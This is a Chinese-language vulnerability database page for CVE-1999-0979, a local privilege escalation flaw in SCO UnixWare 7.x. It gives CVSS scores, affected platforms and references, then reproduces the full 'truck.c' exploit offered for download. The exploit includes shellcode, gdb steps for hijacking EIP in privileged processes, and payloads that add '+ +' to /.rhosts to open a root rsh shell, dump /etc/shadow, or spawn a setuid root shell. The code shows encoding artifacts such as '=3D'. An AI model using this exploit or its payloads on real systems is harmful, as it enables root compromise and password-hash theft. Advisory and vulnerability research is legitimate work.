CVE-1999-0979
CVSS7.2
发布时间 :2000-04-11 00:00:00
修订时间 :2016-10-17 22:00:03
NMCOE    

[原文]The SCO UnixWare privileged process system allows local users to gain root privileges by using a debugger such as gdb to insert traps into _init before the privileged process is executed.


[CNNVD]SCO Unixware 特权调试程序漏洞(CNNVD-200004-018)

        SCO UnixWare 特权过程系统存在漏洞,本地用户可以通过使用例如gdb的调试器在特权进程执行前将trap插入_init处从而获得根用户权限。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:sco:unixware:7.0
cpe:/o:sco:unixware:7.1
cpe:/o:sco:unixware:7.1.1
cpe:/o:sco:unixware:7.0.1

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0979
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-1999-0979
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200004-018
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=94530783815434&w=2
(UNKNOWN)  BUGTRAQ  19991215 Recent postings about SCO UnixWare 7
http://www.securityfocus.com/bid/869
(UNKNOWN)  BID  869

- 漏洞信息

SCO Unixware 特权调试程序漏洞
高危 设计错误
2000-04-11 00:00:00 2005-05-02 00:00:00
本地  
        SCO UnixWare 特权过程系统存在漏洞,本地用户可以通过使用例如gdb的调试器在特权进程执行前将trap插入_init处从而获得根用户权限。

- 公告与补丁

        Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com.

- 漏洞信息 (19674)

SCO Unixware 7.0/7.0.1/7.1/7.1.1 Privileged Program Debugging Vulnerability (EDBID:19674)
sco local
1999-12-10 Verified
0 Brock Tellier
N/A [点击下载]
source: http://www.securityfocus.com/bid/869/info

Unixware's security model includes the concept of privileges. These can be assigned to processes and allow them to perform tasks that otherwise could only be performed by the root user. They allow programs to run with the minimum required privilege (as opposed to running as root). A vulnerability in Unixware's implementation of privileges allows regular users to attach a debugger to a running privileged program and take over its privileges.

Most Unix systems, including Uniware, place a number of restriction on how can regular users interact with setuid and setgid processes. For example they are not allowed to attach a debugger to them and the dynamic linker may ignore variables requesting the preloading of some shared libraries. Unixware's implementation of privileges provides no such protections for privileged programs allowing a user to attach a debugger to a running privileged program which has his same user uid and modifying it.

When a program that is listed in the /etc/security/tcb/privs is executed it is granted the privileges listed there. All a malicious has to do to exploit the problem is find a program listed in that file with the privileges it wishes to gain and executable by him. Example of programs executable by anyone with privileges include: /usr/ucb/w (DACREAD), /usr/bin/getdev (DACWRITE), and /usr/ucb/lpr (SETUID). 

/** =

 ** "Its a hole you could drive a truck through." =

 **                        -Aleph One
 **
 ** truck.c UnixWare 7.1 security model exploit
 ** Demonstrates how we own privileged processes =

 ** =

 ** Usage: cc -o truck truck.c
 ** ./truck <filetype>  where filetype is 1, 2 or 3 =

 ** (for dacread, dacwrite and setuid, respectively)
 **
 ** This will put $XNEC in the environment and run a shell.
 ** From there you must use gdb/debug to load a file of the
 ** type you chose (by checking /etc/security/tcb/privs)
 ** and setting a breakpoint at _init via "break _init".
 ** When you "run" and break at _init, change your EIP
 ** to something between 0x8046000 and 0x8048000 with =

 ** "set $eip =3D 0x8046b75" and "continue" twice.
 **
 **
 ** Brock Tellier btellier@usa.net
 **/ =



#include <stdlib.h>
#include <stdio.h>

char scoshell[]=3D /* This isn't a buffer overflow! really! */
"\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"
"\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"
"\xff\xff/tmp/sm\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";

                       =

#define LEN 3500
#define NOP 0x90

#define DACWRITE "void main() { system(\"echo + + > /.rhosts; chmod 700 \=

/.rhosts; chown root:sys /.rhosts; rsh -l root localhost sh -i \
\"); }\n"
#define DACREAD  "void main() { system(\"cat /etc/shadow\");}\n"
#define SETUID  "void main() { setreuid(0,0);system(\"/bin/sh\"); }\n"

void usage(int ftype) {
    fprintf(stderr, "Error: Usage: truck [filetype]\n");
    fprintf(stderr, "Where filetype is one of the following: \n");
    fprintf(stderr, "1 dacread\n2 dacwrite\n3 setuid\n");
    fprintf(stderr, "Note: if file has allprivs, use setuid\n");
}
void buildsm(int ftype) {
  FILE *fp;
  char cc[100];
  fp =3D fopen("/tmp/sm.c", "w");

  if (ftype =3D=3D 1) fprintf(fp, DACREAD);
    else if(ftype =3D=3D 2) fprintf(fp, DACWRITE);
    else if(ftype =3D=3D 3) fprintf(fp, SETUID);

  fclose(fp);
  snprintf(cc, sizeof(cc), "cc -o /tmp/sm /tmp/sm.c");
  system(cc);

}

int main(int argc, char *argv[]) {

int i;
int buflen =3D LEN;
char buf[LEN]; =

int filetype =3D 0;
char filebuf[20]; =


 if(argc > 2 || argc =3D=3D 1) {
    usage(filetype);
    exit(0); =

 }

 if ( argc > 1 ) filetype=3Datoi(argv[1]);
 if ( filetype > 3 || filetype < 1 ) { usage(filetype); exit(-1); }
 buildsm(filetype);

fprintf(stderr, "\nUnixWare 7.1 security model exploit\n");
fprintf(stderr, "Brock Tellier btellier@usa.net\n\n");

memset(buf,NOP,buflen);
memcpy(buf+(buflen - strlen(scoshell) - 1),scoshell,strlen(scoshell));

memcpy(buf, "XNEC=3D", 5);
putenv(buf);
buf[buflen - 1] =3D 0;

system("/bin/sh");
exit(0);
}
		

- 漏洞信息

1162
SCO Unixware Privileged Program Debugging

- 漏洞描述

- 时间线

1999-12-10 Unknow
1999-12-10 Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站